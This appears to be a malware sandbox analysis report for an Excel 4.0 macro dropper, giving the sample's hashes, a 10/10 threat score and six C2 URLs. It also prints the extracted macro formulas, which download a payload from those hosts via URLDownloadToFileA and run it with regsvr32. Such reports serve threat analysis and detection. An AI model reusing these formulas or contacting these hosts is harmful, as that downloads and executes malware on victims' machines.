9ccc077c35b69e9ac2357057723b00b9fdbe51e83835bd2971f27b5c70b490fb

General

Target

9ccc077c35b69e9ac2357057723b00b9fdbe51e83835bd2971f27b5c70b490fb
Size

46KB
Sample

241120-me8pvsvqfz
MD5

ed48f2db2a4293f0594cd5e1cfe709e3
SHA1

bb345c472d8ea6064f057d75af01671712dba313
SHA256

9ccc077c35b69e9ac2357057723b00b9fdbe51e83835bd2971f27b5c70b490fb
SHA512

32e8aa0a5b92a543a97ad02f8dd8091f71cf5a716947f0ea3a670bb95a77f2c887aeff7d8a53fd6e507fd32a97ba2557aa467acd1ccf6b333caf04dab22f4251
SSDEEP

768:iio9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:iio9D7UtT5fTR4Lh1NisFYBc3cr+UqVC

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://diacrestgroup.com/ggv3rjy/9/

https://merturku.com/blogs/IFcif/

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

https://mayatherm.com/vendor/3Vk/

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://diacrestgroup.com/ggv3rjy/9/

xlm40.dropper

https://merturku.com/blogs/IFcif/

xlm40.dropper

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

xlm40.dropper

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

xlm40.dropper

https://mayatherm.com/vendor/3Vk/

xlm40.dropper

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/